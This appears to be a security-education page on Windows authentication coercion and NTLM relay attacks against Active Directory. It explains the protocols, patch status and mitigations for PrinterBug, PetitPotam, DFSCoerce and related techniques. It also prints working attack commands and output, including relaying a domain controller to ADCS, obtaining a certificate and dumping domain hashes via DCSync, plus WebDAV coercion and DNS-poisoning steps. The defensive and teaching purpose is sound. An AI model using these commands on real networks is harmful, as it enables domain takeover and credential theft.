Coercion & Relay Attacks | Radioactive Directory

C+R

The Coercion + Relay Attack Pattern

Coercion and relay attacks exploit fundamental Windows authentication behaviors - the radioactive decay at the core of Active Directory's trust model. Instead of cracking passwords or stealing credentials, you force a machine to authenticate to you, then relay that authentication to a valuable target. In environments with common misconfigurations - ADCS without EPA, LDAP without signing - this chain reaction leads to total domain fallout from a single low-privileged user, often in minutes. This attack pattern has been responsible for countless domain compromises since PetitPotam went critical in 2021. For a comprehensive modern overview, see SpecterOps' The Renaissance of NTLM Relay Attacks and Dirk-jan Mollema's foundational Worst of Both Worlds research.

Why Is This So Effective?

Windows services frequently authenticate to remote systems as part of normal operations. Coercion techniques abuse these legitimate features to force authentication to an attacker-controlled destination. The victim machine doesn't know it's authenticating to a malicious server - it just follows the protocol.

When combined with relay attacks, this becomes devastating. NTLM authentication doesn't bind to the target service, so the attacker can forward credentials anywhere that accepts NTLM. Relay a Domain Controller's machine account to ADCS, get a certificate, and you now control the entire domain.

The Coercion + Relay attack chain: Force DC to authenticate, relay to ADCS, obtain certificate for domain takeover

⚠️ Real-World Impact

This attack pattern has caused catastrophic breaches in production environments. LockFile ransomware (August 2021) chained ProxyShell with PetitPotam to achieve total domain compromise within hours of the PetitPotam disclosure. Unit 42 documented active coercion attacks using MS-EVEN against healthcare organizations as recently as March 2025. This isn't theoretical - it's how domains fall in the wild.

COE

Authentication Coercion Explained

Authentication coercion is the technique of forcing a Windows machine to initiate an authentication attempt to an attacker-controlled destination. Various Windows RPC protocols contain methods that accept UNC paths-when these are pointed at an attacker's server, the victim machine dutifully authenticates, handing over its NTLM credentials in the process. For a comprehensive catalog of coercion methods, see the Coercer project by Podalirius.

How Coercion Works

Windows RPC (Remote Procedure Call) services expose methods for managing system functions remotely-printer management, file encryption, distributed file systems, and more. Many of these methods accept file paths as parameters. When given a UNC path (\\server\share), Windows automatically attempts to authenticate to that server.

An attacker can call these RPC methods with a UNC path pointing to their server. The victim machine, thinking it's accessing a legitimate file share, authenticates using its machine account credentials. The attacker captures this NTLM authentication and can crack it offline or-more powerfully-relay it to another service.

Coercion Flow

1. Attacker calls RPC method with UNC path: \\attacker\share
2. Victim attempts SMB connection to attacker
3. Victim sends NTLM NEGOTIATE message
4. Attacker responds with CHALLENGE
5. Victim sends AUTHENTICATE with Net-NTLMv2 hash
6. Attacker captures or relays the authentication

Key RPC Protocols for Coercion

Multiple RPC protocols have been discovered to be vulnerable to coercion abuse. Microsoft has classified most of these as "by design" or "won't fix" since they're using documented features for unintended purposes.

Protocol	Named Pipe	Technique	Auth Coercion Type	Status
MS-RPRN	\pipe\spoolss	PrinterBug	SMB only	Won't Fix
MS-EFSRPC	\pipe\lsarpc, \pipe\efsrpc	PetitPotam	SMB or HTTP*	Partial Patch¹
MS-DFSNM	\pipe\netdfs	DFSCoerce	SMB or HTTP*	Unpatched
MS-FSRVP	\pipe\FssagentRpc	ShadowCoerce	SMB only	Patched²
MS-EVEN	\pipe\eventlog	CheeseOunce	SMB only	Unpatched

* HTTP coercion requires WebClient service running on target

¹ CVE-2021-36942 (August 10, 2021) patched unauthenticated coercion via EfsRpcOpenFileRaw on LSARPC. Authenticated coercion via the dedicated EFSRPC pipe still works. Microsoft classified remaining vectors as "by design."

² CVE-2022-30154 (June 14, 2022, KB5014692) patched IsPathSupported and IsPathShadowCopied methods. Systems updated since June 2022 are protected.

💡 Machine Accounts Are The Prize

When you coerce a Domain Controller, you capture the DC's machine account authentication (e.g., DC01$). DC machine accounts are highly privileged-they can request certificates from ADCS, and those certificates can be used to authenticate as the DC and perform DCSync. Relaying a DC machine account to ADCS is often game over for the domain.

RLY

NTLM Relay Explained

NTLM relay is a man-in-the-middle attack where the attacker forwards authentication messages between a victim and a target service. The attacker doesn't need to crack any passwords-they simply proxy the authentication to impersonate the victim to any service that accepts NTLM. The foundational tool is Impacket's ntlmrelayx, originally developed by Alberto Solino and now maintained by Fortra.

Why NTLM Is Relayable

Unlike Kerberos, NTLM doesn't bind authentication to a specific service. The challenge-response proves you know the password, but it doesn't verify what you're authenticating to. This fundamental design flaw means an attacker can capture NTLM authentication intended for one service and forward it to another.

The limitations come from protections added over the years: SMB signing prevents relay to SMB, LDAP signing prevents relay to LDAP, Extended Protection for Authentication (EPA) binds the authentication to the TLS channel. But many environments don't enforce these protections.

NTLM Relay Attack Flow

1

Victim → Attacker NEGOTIATE: "I want to authenticate"

2

Attacker → Target NEGOTIATE: Forward to real target

3

Target → Attacker CHALLENGE: "Prove it with this nonce"

4

Attacker → Victim CHALLENGE: Forward target's challenge

5

Victim → Attacker AUTHENTICATE: Response encrypted with password

6

Attacker → Target AUTHENTICATE: Forward response to target

✓

Target → Attacker SUCCESS: Attacker now impersonates victim

Cross-Protocol Relay Compatibility

When coercion triggers authentication, the victim connects back using either SMB or HTTP (if WebClient is running). This table shows where you can relay that captured authentication. The key factor is the Message Integrity Code (MIC) - a cryptographic checksum that SMB includes in NTLM auth.

Source Protocol	→ SMB	→ LDAP	→ LDAPS	→ HTTP²	→ MSSQL
SMB	If no signing	No¹	No¹	Yes	If no signing
HTTP (WebDAV)	If no signing	Yes³	Yes⁴	Yes	Yes

¹ MIC (Message Integrity Code): SMB authentication includes a MIC - a cryptographic hash covering the entire NTLM exchange including the target server name. When you relay SMB auth to a different target, the MIC validation fails because the target changed. The "Drop the MIC" technique (CVE-2019-1040, discovered by Preempt/CrowdStrike researchers Marina Simakov and Yaron Zinar, June 2019) allowed attackers to remove the MIC from the NTLM message and clear the flags indicating MIC was ever present - but this was patched in the June 2019 Patch Tuesday. Post-patch, SMB-sourced auth cannot be relayed to LDAP. HTTP/WebDAV authentication never includes MIC, so it remains freely relayable. Note: If NTLMv1 is enabled in your environment, channel binding protections can be bypassed since NTLMv1 does not support MIC.

² HTTP relay targets: Any HTTP endpoint accepting NTLM without EPA is vulnerable. ADCS web enrollment is the most common target (high impact, frequently misconfigured), but others include: Exchange Web Services (EWS), SCCM/MECM endpoints, WSUS, SharePoint, and custom IIS applications. HTTPS alone does NOT prevent relay - EPA is required to bind auth to the TLS channel.

³ Requires LDAP signing to NOT be enforced on the DC (default on pre-2025 systems)

⁴ Requires channel binding (EPA) to NOT be enforced on the DC

⚠️ The HTTP Coercion Advantage

When the WebClient service is running, coercion can produce HTTP authentication instead of SMB. HTTP authentication doesn't negotiate session signing, making it relayable to LDAP/LDAPS. This is why WebClient abuse is so powerful-it unlocks relay targets that SMB coercion can't reach.

What About Kerberos Relay?

Everything above focuses on NTLM relay because NTLM is the protocol that makes cross-service relay trivial. But Kerberos relay attacks do exist - they're just more constrained.

Why NTLM relay works so well: NTLM authentication has no concept of "intended target." When a DC authenticates to you via NTLM, you can forward that auth anywhere that accepts NTLM.

Why Kerberos is different: Kerberos tickets are cryptographically bound to a specific Service Principal Name (SPN). If you coerce a DC and it authenticates via Kerberos, you get a service ticket for YOUR server's SPN (e.g., HTTP/attacker.corp.local). That ticket is useless against ADCS (HTTP/ca.corp.local) - the SPN doesn't match, authentication fails.

Kerberos Relay Attacks

KrbRelay (James Forshaw, Google Project Zero, October 2021): Relay Kerberos authentication to services on the SAME machine. Useful for local privilege escalation - coerce a privileged process to authenticate to you locally, relay to local LDAP or other services. Bypasses the SPN problem because you're relaying to localhost. See also Windows Exploitation Tricks: Relaying DCOM Authentication.

KrbRelayUp (Dec0ne, 2022): Streamlined tool for local privesc via Kerberos relay. Combines KrbRelay with RBCD abuse - relay local SYSTEM auth to LDAP, configure RBCD on the machine account, then S4U2Self to get admin access.

Kerberos Relay to ADCS: In specific scenarios where you control a service with a valid SPN, you can relay Kerberos auth to ADCS for certificate enrollment. More constrained than NTLM but possible.

💡 Bottom Line

NTLM relay is the primary concern for coercion attacks because it enables cross-service relay (coerce DC → relay to ADCS on different server). Kerberos relay is mostly useful for local privilege escalation scenarios. When someone says "relay attack" without qualification, they almost always mean NTLM relay.

ATK

The Complete Attack Chain

Let's walk through a real coercion+relay attack against ADCS. This is the most common and devastating variant-coercing a DC to authenticate, then relaying to ADCS to obtain a certificate that grants domain admin access. This specific attack path is documented as ESC8 in the SpecterOps "Certified Pre-Owned" whitepaper by Will Schroeder and Lee Christensen.

Prerequisites

For this attack to work, you need:

1
Domain User Credentials Most coercion methods require authentication (unauthenticated PetitPotam was patched August 2021)
2
ADCS with HTTP Enrollment Certificate Authority Web Enrollment or Certificate Enrollment Web Service enabled
3
No EPA on ADCS Extended Protection for Authentication not enforced on HTTP enrollment (common in legacy deployments; enabled by default in Server 2025)
4
Network Position Ability to receive connections from the coerced target

Step 1: Start NTLM Relay to ADCS ntlmrelayx

# Start ntlmrelayx targeting ADCS HTTP enrollment
$ ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp \
    -smb2support --adcs --template DomainController

[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client SMB loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Servers started, waiting for connections

Step 2: Trigger Coercion with PetitPotam PetitPotam

# Coerce DC to authenticate to our relay server
$ python3 PetitPotam.py -u lowprivuser -p 'Password123' \
    -d corp.local 10.10.10.50 dc01.corp.local

[+] Connecting to dc01.corp.local
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Bound to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Attack successful!
[+] Got connection from dc01.corp.local

Step 3: Certificate Issued (ntlmrelayx output) Success

[*] SMBD: Received connection from 10.10.10.10
[*] HTTPD: Received connection from 10.10.10.10
[*] HTTP server returned error code 200, treating as successful login
[*] Authenticating against http://ca.corp.local as CORP/DC01$
[*] SMBD-Thread-4: Connection from CORP/DC01$@10.10.10.10 controlled
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE!
[*] Certificate saved to DC01$.pfx
[*] Saved Base64 certificate to DC01$.b64

Step 4: Authenticate with Certificate Certipy

# Use the certificate to get a TGT for the DC machine account
$ certipy auth -pfx DC01$.pfx -dc-ip 10.10.10.10

[*] Using principal: dc01$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to dc01.ccache
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$': aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

Step 5: DCSync with DC Machine Account Domain Takeover

# Use DC machine account hash to perform DCSync
$ secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
    'corp.local/dc01$@dc01.corp.local'

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
krbtgt:502:aad3b435b51404ee:b21dd5c7b0aa1c8e60d5c2b1a9b9c25f:::
...
[*] Cleaning up...
[*] Domain credentials obtained - FULL DOMAIN COMPROMISE

✓ Attack Complete

From a low-privileged domain user to full domain admin in under 5 minutes (in vulnerable environments). The steps: (1) Set up relay to ADCS, (2) Coerce DC authentication, (3) Relay captured auth to get certificate, (4) Use certificate to authenticate as DC, (5) DCSync all domain hashes. When ADCS is misconfigured without EPA - still common in many organizations - this attack chain achieves full domain compromise with high reliability.

PRN

PrinterBug (MS-RPRN)

The original coercion technique, disclosed at DerbyCon 2018 by Lee Christensen (@tifkin_) and Will Schroeder (@harmj0y) of SpecterOps in their talk "The Unintended Risks of Trusting Active Directory". Abuses the Print System Remote Protocol to force any machine running the Spooler service to authenticate to an attacker-specified host.

Technical Details

MS-RPRN is the Print System Remote Protocol used for printer management. The RpcRemoteFindFirstPrinterChangeNotificationEx method accepts a notification address where print change notifications should be sent. When called with an attacker's address, the target authenticates to the attacker via SMB.

Protocol Details

Protocol: MS-RPRN (Print System Remote Protocol)
Named Pipe: \pipe\spoolss
Vulnerable Method: RpcRemoteFindFirstPrinterChangeNotificationEx
Auth Type: SMB only (no HTTP variant)
Requirements: Spooler service running, domain user credentials
Tool: SpoolSample (original), printerbug.py (Impacket-style)

PrinterBug Execution Requires Domain Creds

# Check if Spooler is running on target
$ rpcdump.py corp.local/user:password@dc01.corp.local | grep -i spoolss
Protocol: [MS-RPRN]: Print System Remote Protocol

# Trigger PrinterBug coercion
$ python3 printerbug.py corp.local/lowpriv:'Password123'@dc01.corp.local 10.10.10.50
[*] Attempting to trigger authentication via rprn RPC
[+] Triggered authentication from dc01.corp.local

# Alternative: Using dementor
$ dementor.py -d corp.local -u lowpriv -p Password123 10.10.10.50 dc01.corp.local

💡 Current Status (2026)

Status: Won't Fix - Microsoft considers this intended functionality. The mitigation is to disable the Spooler service on Domain Controllers (recommended in Microsoft's security baselines since 2019). However, many environments still run Spooler on DCs, and it remains enabled by default on workstations. PrinterBug works on any system-including Server 2025-where the Spooler service is running.

EFS

PetitPotam (MS-EFSRPC)

Released by French security researcher Gilles Lionel (@topotam77) on July 18, 2021, PetitPotam was the moment AD exploitation changed forever. Unauthenticated domain compromise via coercion+relay went from theoretical to weaponized overnight. The original unauthenticated vector was patched (CVE-2021-36942, August 10, 2021), but authenticated variants continue to work, and the technique inspired an entire class of coercion research that followed.

Technical Details

MS-EFSRPC (Encrypting File System Remote Protocol) is used for remote operations on encrypted files. Multiple methods accept file paths-when supplied with a UNC path pointing to an attacker, the target authenticates. Initially, several methods worked without authentication via the LSARPC pipe, but Microsoft patched that vector. Authenticated coercion via the dedicated EFSRPC pipe (\pipe\efsrpc) remains functional - Microsoft classified this as "by design."

Protocol Details

Protocol: MS-EFSRPC (Encrypting File System Remote Protocol)
Named Pipes: \pipe\lsarpc (patched for unauth), \pipe\efsrpc (auth still works)
Vulnerable Methods: EfsRpcOpenFileRaw, EfsRpcEncryptFileSrv, EfsRpcDecryptFileSrv, EfsRpcQueryUsersOnFile, EfsRpcQueryRecoveryAgents, EfsRpcAddUsersToFile, and others
Auth Type: SMB or HTTP (with WebClient)
Requirements: Domain user credentials (after August 2021 patch)

PetitPotam Execution Authenticated Only

# Standard authenticated PetitPotam
$ python3 PetitPotam.py -u lowpriv -p 'Password123' -d corp.local \
    10.10.10.50 dc01.corp.local

[+] Connecting to dc01.corp.local
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Attack successful!

# With WebClient for HTTP coercion (requires WebClient running)
$ python3 PetitPotam.py -u lowpriv -p 'Password123' -d corp.local \
    attacker@80/test dc01.corp.local

# Check which methods are vulnerable on target
$ python3 PetitPotam.py -u lowpriv -p 'Password123' -d corp.local \
    --check dc01.corp.local
[+] EfsRpcOpenFileRaw (SMB Auth) - VULNERABLE
[+] EfsRpcAddUsersToFile (SMB Auth) - VULNERABLE

⚠️ Patch Status

CVE-2021-36942 (August 10, 2021) patched the unauthenticated attack vector via EfsRpcOpenFileRaw on the LSARPC pipe. However, Microsoft has stated that authenticated coercion is "by design." Multiple EfsRpc methods remain exploitable with valid domain credentials via the dedicated EFSRPC pipe. Microsoft seemingly gave up patching all vectors- new vulnerable methods have been discovered even after patches. See CERT/CC VU#405600 for the original vulnerability note.

DFS

DFSCoerce (MS-DFSNM)

Released by Filip Dragovic (@Wh04m1001) in June 2022, DFSCoerce exploits the Distributed File System Namespace Management protocol. Unlike other techniques, it specifically targets Domain Controllers where DFS is commonly configured.

Technical Details

MS-DFSNM provides an RPC interface for administering DFS configurations. Methods like NetrDfsRemoveStdRoot and NetrDfsAddStdRoot accept server names that trigger authentication when pointing to an attacker's system.

Protocol Details

Protocol: MS-DFSNM (Distributed File System Namespace Management)
Named Pipe: \pipe\netdfs
Vulnerable Methods: NetrDfsRemoveStdRoot, NetrDfsAddStdRoot
Auth Type: SMB or HTTP (with WebClient)
Requirements: Domain user credentials, target must be a Domain Controller

DFSCoerce Execution DC Only

# DFSCoerce only works against Domain Controllers
$ python3 dfscoerce.py -u lowpriv -p 'Password123' -d corp.local \
    10.10.10.50 dc01.corp.local

[+] Connecting to dc01.corp.local
[+] Binding to 4fc742e0-4a10-11cf-8273-00aa004ae673
[+] Successfully called NetrDfsRemoveStdRoot
[+] Coercion triggered!

# Can also use Coercer tool for multiple methods
$ coercer coerce -u lowpriv -p 'Password123' -d corp.local \
    --filter-protocol-name MS-DFSNM -l 10.10.10.50 -t dc01.corp.local

💡 Current Status (2026)

Status: Unpatched - Microsoft has not released a specific patch for DFSCoerce. The standard NTLM relay mitigations (EPA on ADCS, LDAP signing) are the recommended defenses. DFSCoerce remains fully functional on Domain Controllers, including Windows Server 2025.

VSS

ShadowCoerce (MS-FSRVP)

Discovered by Gilles Lionel (@topotam77, the same researcher behind PetitPotam) and disclosed December 28, 2021. ShadowCoerce abuses the File Server Remote VSS Protocol used for creating shadow copies of file shares. PoC released by Charlie Bromberg (@_nwodtuhs). This is the only major coercion technique that has been fully patched.

Technical Details

MS-FSRVP is used for creating shadow copies of file shares on remote computers. Methods like IsPathSupported and IsPathShadowCopied accept share paths that trigger authentication. The technique requires the File Server VSS Agent Service (FSSAgentRpc) to be running - this is NOT installed by default, it's a role service that must be explicitly added via Server Manager → File and Storage Services → File Server VSS Agent Service.

Protocol Details

Protocol: MS-FSRVP (File Server Remote VSS Protocol)
Named Pipe: \pipe\FssagentRpc
Service: File Server VSS Agent Service (FSSAgentRpc) - NOT installed by default
Vulnerable Methods: IsPathSupported, IsPathShadowCopied
Auth Type: SMB only (no HTTP variant)
Requirements: File Server VSS Agent Service role installed and running

ShadowCoerce Execution (Pre-Patch) Patched June 2022

# Check if FssAgent service is running
$ netexec smb dc01.corp.local -u lowpriv -p 'Password123' -M shadowcoerce
SHADOWCOERCE dc01.corp.local - File Server VSS Agent Service not running

# If vulnerable (unpatched + service running):
$ python3 shadowcoerce.py -d corp.local -u lowpriv -p 'Password123' \
    10.10.10.50 dc01.corp.local

[*] Sending IsPathShadowCopied request
[!] On patched systems: 0x80070005 (Access Denied)

# Note: May need to trigger twice if service hasn't been used recently

✓ Patched (Specific Methods)

CVE-2022-30154 (patched June 14, 2022 in KB5014692) addressed the primary ShadowCoerce coercion vectors (IsPathSupported, IsPathShadowCopied). This is the only major coercion technique where Microsoft released a targeted patch. Systems updated since June 2022 are protected from the documented attack paths.

WEB

WebClient Abuse (WebDAV)

Not a coercion technique itself, but a critical enabler. The WebClient service allows coercion over HTTP instead of SMB, unlocking relay paths that would otherwise be blocked by SMB signing requirements. WebClient abuse transforms SMB-only coercion into HTTP coercion. First documented for offensive use by Pentestlab and widely adopted in tools like WebclientServiceScanner.

Why WebClient Matters

When you coerce via SMB, the resulting NTLM authentication negotiates session signing. This breaks relay to LDAP/LDAPS. But if you can make the target use HTTP (WebDAV) instead, no signing is negotiated-meaning you can relay to LDAP and perform RBCD attacks, Shadow Credentials, or other write operations.

The trick is using a WebDAV connection string format: \\server@port\share. When Windows sees this format, it routes the connection through the WebClient service, resulting in HTTP authentication.

WebClient Service Details

Service: WebClient (WebDAV client)
Default Status: Not running by default, but installed on workstations
Server Versions: Not installed by default on Windows Server
Connection String: \\hostname@port\share or \\hostname@SSL\share
Intranet Zone: Target must be in the Intranet Zone for credentials to be sent
Documentation: Microsoft WebClient

Enumerate WebClient Status Recon

# Check for WebClient service across hosts
$ netexec smb targets.txt -u lowpriv -p 'Password123' -M webdav
SMB  192.168.1.10 445 WS01  [*] Windows 11 Build 22631
WEBDAV 192.168.1.10 445 WS01  WebClient Service enabled on: 192.168.1.10
SMB  192.168.1.11 445 WS02  [*] Windows 11 Build 22631
WEBDAV 192.168.1.11 445 WS02  WebClient Service not running

# Alternative: webclientservicescanner
$ webclientservicescanner 'corp.local/lowpriv:Password123@192.168.1.0/24'

WebClient Coercion Attack Requires DNS or LLMNR

# Step 1: Add DNS record pointing to attacker (requires ADIDNS write)
$ python3 dnstool.py -u 'corp.local\lowpriv' -p 'Password123' \
    -r attacker.corp.local -a add -d 10.10.10.50 dc01.corp.local
[+] DNS record added: attacker.corp.local -> 10.10.10.50

# Step 2: Start ntlmrelayx targeting LDAP
$ ntlmrelayx.py -t ldaps://dc01.corp.local --delegate-access -smb2support

# Step 3: Coerce using WebDAV connection string
$ python3 PetitPotam.py -u lowpriv -p 'Password123' -d corp.local \
    'attacker@80/test' ws01.corp.local

# If DNS not available, use Responder for NetBIOS name
$ responder -I eth0 -wF
$ python3 PetitPotam.py -u lowpriv -p 'Password123' -d corp.local \
    'FAKEHOST@80/test' ws01.corp.local

⚠️ Intranet Zone Requirement

Windows only sends credentials to WebDAV servers in the Intranet Zone. Using an IP address triggers Internet Zone, blocking credential transmission. You must use a hostname that resolves within the domain-either via DNS (add an ADIDNS record) or NetBIOS/LLMNR poisoning. See Microsoft's zone documentation.

TGT

Relay Targets

Where you relay the coerced authentication determines the impact. Any service accepting NTLM without proper protections (signing, EPA) is a potential target. ADCS gets the most attention because it's commonly misconfigured and leads directly to domain compromise, but it's far from the only option.

High Impact

ADCS HTTP Enrollment

ESC8 Attack - Most Common Target

Relay to Certificate Authority web enrollment to obtain certificates for the relayed account. If you relay a DC machine account and vulnerable templates exist, you can obtain a certificate that grants DCSync rights - often resulting in full domain compromise. ADCS is the "go-to" target because it's frequently deployed without EPA.

Requirements

ADCS with Web Enrollment enabled
No EPA enforced (common in legacy deployments)
Enrollable template (DomainController, etc.)
No manager approval required

Mitigation

Enable EPA on ADCS: Run certutil -setreg policy\EditFlags +EDITF_ENABLELDAPRELAYCOUNTERMEASURES then restart CertSvc. See KB5005413.
HTTPS alone does NOT prevent this - EPA is required

Varies by Target

Other HTTP Endpoints

Exchange, SCCM, SharePoint, IIS Apps

Any HTTP service accepting NTLM without EPA is vulnerable. The impact depends on what the relayed account can do on that service.

Common Targets

Exchange (EWS): Access mailboxes, send as user, extract GAL
SCCM/MECM: Deploy packages, execute code on managed systems
WSUS: Push malicious updates (if admin relayed)
SharePoint: Access documents, potentially execute code
Custom IIS apps: Whatever that app allows

Mitigation

Enable EPA: Binds NTLM auth to the TLS channel, preventing relay. Must be configured on each service individually.
Use Kerberos instead: Kerberos tickets are bound to specific SPNs - you literally cannot relay a ticket meant for HTTP/webserver01 to HTTP/exchange01. Relay is impossible at the protocol level, not just blocked by configuration. Also eliminates pass-the-hash and offline cracking risks that NTLM retains even with EPA.

Requires HTTP Auth

LDAP / LDAPS

RBCD, Shadow Credentials

Relay to LDAP to modify AD objects-add RBCD delegation, set Shadow Credentials, or write to other attributes. Requires HTTP coercion (WebClient abuse).

Requirements

LDAP signing NOT enforced
LDAP channel binding NOT enforced
HTTP coercion (SMB blocked by MIC)

Mitigation

LDAP Signing: GPO → Computer Config → Policies → Windows Settings → Security Settings → Local Policies → Security Options → "Domain controller: LDAP server signing requirements" = Require signing
Channel Binding: Set registry HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding to 2 (DWORD). See KB4520412.
Both are required - signing alone is insufficient

Limited Use

SMB

Code Execution

Relay to SMB for remote code execution on systems where the relayed account has admin rights. Limited because most DCs have SMB signing required by default.

Requirements

SMB signing NOT required on target
Relayed account has admin rights
Target is not a Domain Controller

Mitigation

Require SMB Signing: GPO → Computer Config → Policies → Windows Settings → Security Settings → Local Policies → Security Options → "Microsoft network server: Digitally sign communications (always)" = Enabled
Warning: Can break legacy NAS, printers, older systems. Audit first. See Microsoft SMB Signing overview.

Newer Target

MSSQL

Database Access

Relay NTLM authentication to MSSQL servers. Can lead to command execution via xp_cmdshell if the relayed account has sysadmin rights.

Requirements

MSSQL accepting NTLM auth
No EPA on MSSQL
Appropriate SQL permissions

Mitigation

Enable EPA: SQL Server Configuration Manager → SQL Server Network Configuration → Protocols → Properties → Extended Protection = Required
Use Kerberos auth instead of NTLM where possible

💡 ADCS: Beyond Relay

ADCS as a relay target (ESC8) is just the tip of the iceberg. Misconfigured certificate templates, weak CA permissions, and NTLM-enabled enrollment create an entire attack surface beyond coercion+relay. ESC1 through ESC14 cover template abuse, CA takeover, and certificate theft that don't require relay at all. See the dedicated ADCS Exploitation page for the full attack taxonomy, or the original SpecterOps Certified Pre-Owned whitepaper.

2026

Current State (January 2026)

Windows Server 2025 and Windows 11 24H2 have significantly changed the landscape with new security defaults. However, most enterprise environments still run older systems where these attacks remain highly effective.

Windows Server 2025 Changes

Microsoft has made major security improvements in Server 2025, moving toward "secure by default." See Microsoft's Mitigating NTLM Relay Attacks by Default announcement (October 2024) and TechCommunity deep-dive for full details:

✓
LDAP Channel Binding Enabled by Default Domain Controllers now enforce channel binding, blocking relay to LDAP/LDAPS. See Microsoft's TechCommunity documentation.
✓
EPA Enabled on ADCS by Default Certificate Services HTTP enrollment now has EPA enabled ("When Supported" mode), blocking most relay attacks
✓
SMB Signing Required by Default All Windows 11 24H2 and Server 2025 hosts require SMB signing. See Microsoft's announcement.
✓
NTLMv1 Removed NTLMv1 completely removed; NTLMv2 deprecated (still present but discouraged)
✓
NTLM Blocking Available New GPO to block NTLM for SMB connections at the client level

Coercion Technique Status Summary

Technique	Patch Status	Works in 2026?	Notes
PrinterBug	Won't Fix	Yes*	*If Spooler running; disable on DCs per MS guidance
PetitPotam	Partial	Yes (auth)	Unauthenticated patched Aug 2021; authenticated still works
DFSCoerce	Unpatched	Yes	DC only; fully functional
ShadowCoerce	Patched	No*	*Primary methods patched June 2022 (CVE-2022-30154); verify systems are updated
MS-EVEN (CheeseOunce)	Unpatched	Yes	Newer technique; rarely monitored

⚠️ Reality Check

While Server 2025 defaults provide better protection, most enterprises still run Windows Server 2016/2019/2022 Domain Controllers without these protections enabled. Many haven't enabled EPA on ADCS, LDAP signing, or channel binding. Some hardened environments have mitigated these attacks through tiered administration or disabled Spooler on DCs - but in practice, coercion+relay remains highly effective in most real-world environments. Don't assume you're protected - verify your configuration.

DEF

Mitigations

Defending against coercion and relay requires a defense-in-depth approach. Some mitigations are quick wins (disabling Spooler takes minutes), while others require extensive testing (SMB signing can break legacy systems). Start with easy wins while planning the complex changes.

Quick Wins (Do These Now)

These take minutes to implement, have minimal risk, and block the most common attack chains:

1
Disable Print Spooler on Domain Controllers DCs don't need printing services. Blocks PrinterBug coercion. See Microsoft guidance.

# Option 1: Disable directly on each DC (immediate)
PS> Stop-Service -Name Spooler -Force
PS> Set-Service -Name Spooler -StartupType Disabled

# Option 2: GPO for all DCs (recommended for enforcement)
# Computer Config → Preferences → Control Panel Settings → Services
# Service name: Spooler, Startup: Disabled, Service action: Stop service

2
Enable EPA on ADCS Web Enrollment Blocks NTLM relay to certificate services. The #1 defense against PetitPotam + ADCS attacks. See KB5005413.

# On the Certificate Authority server:
PS> certutil -setreg policy\EditFlags +EDITF_ENABLELDAPRELAYCOUNTERMEASURES
PS> Restart-Service certsvc

# Or via GUI: Certificate Authority snap-in → Right-click CA → Properties
# → Security tab → Configure Extended Protection for Authentication

# Verify EPA is enabled:
PS> certutil -getreg policy\EditFlags

3
Disable WebClient on Servers Prevents HTTP coercion. WebClient should not run on servers.

# Disable WebClient service (not installed on Server by default, but verify)
PS> Stop-Service -Name WebClient -Force -ErrorAction SilentlyContinue
PS> Set-Service -Name WebClient -StartupType Disabled -ErrorAction SilentlyContinue

# Check if running on remote systems:
PS> Get-Service -Name WebClient -ComputerName server01,server02 | Select MachineName,Status

Relay Target Hardening (Requires Testing)

These are highly effective but can break legacy applications. Test in staging first. Plan for a rollout period.

1
Enforce LDAP Signing Blocks unsigned LDAP relay. Test with legacy apps, SIEM integrations, and third-party tools first. See KB4520412.

# GPO Path: Computer Config → Policies → Windows Settings → Security Settings
#           → Local Policies → Security Options
# Setting: "Domain controller: LDAP server signing requirements" = Require signing

# Or via registry on DCs:
PS> Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
    -Name "LDAPServerIntegrity" -Value 2 -Type DWord

# Audit first (Event ID 2889 in Directory Service log shows unsigned binds):
PS> Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics" `
    -Name "16 LDAP Interface Events" -Value 2 -Type DWord

2
Enable LDAP Channel Binding Must be combined with LDAP signing. Blocks relay to LDAPS.

# On all Domain Controllers:
PS> New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
    -Name "LdapEnforceChannelBinding" -Value 2 -PropertyType DWord -Force

# Values: 0 = Never, 1 = When supported, 2 = Always (recommended)
# Requires restart of the DC or NTDS service

3
Require SMB Signing Can break older NAS, printers, Linux Samba, and legacy applications. Audit with packet captures first.

# GPO Path: Computer Config → Policies → Windows Settings → Security Settings
#           → Local Policies → Security Options
# "Microsoft network server: Digitally sign communications (always)" = Enabled
# "Microsoft network client: Digitally sign communications (always)" = Enabled

# Check current SMB signing status:
PS> Get-SmbServerConfiguration | Select EnableSecuritySignature, RequireSecuritySignature
PS> Get-SmbClientConfiguration | Select EnableSecuritySignature, RequireSecuritySignature

4
Restrict NTLM Authentication The nuclear option. Audit NTLM usage for weeks before restricting. Many things still need NTLM. See Microsoft NTLM restriction guidance.

# Step 1: Enable NTLM auditing (do this first, wait weeks)
# GPO: "Network security: Restrict NTLM: Audit Incoming NTLM Traffic" = Enable auditing for all accounts
# GPO: "Network security: Restrict NTLM: Audit NTLM authentication in this domain" = Enable all

# Review events in: Applications and Services Logs → Microsoft → Windows → NTLM → Operational
# Event ID 8004 shows incoming NTLM auth attempts

# Step 2: After auditing, progressively restrict
# GPO: "Network security: Restrict NTLM: NTLM authentication in this domain" = Deny all

Additional Hardening

Defense in depth for mature security programs:

+
Block RPC Named Pipes Windows Firewall with Advanced Security or RPC Filters can block coercion pipes (\pipe\spoolss, \pipe\efsrpc, etc.)
+
Network Segmentation Prevent workstation-to-DC SMB/RPC from user VLANs. DCs should only accept connections from known admin jump hosts.
+
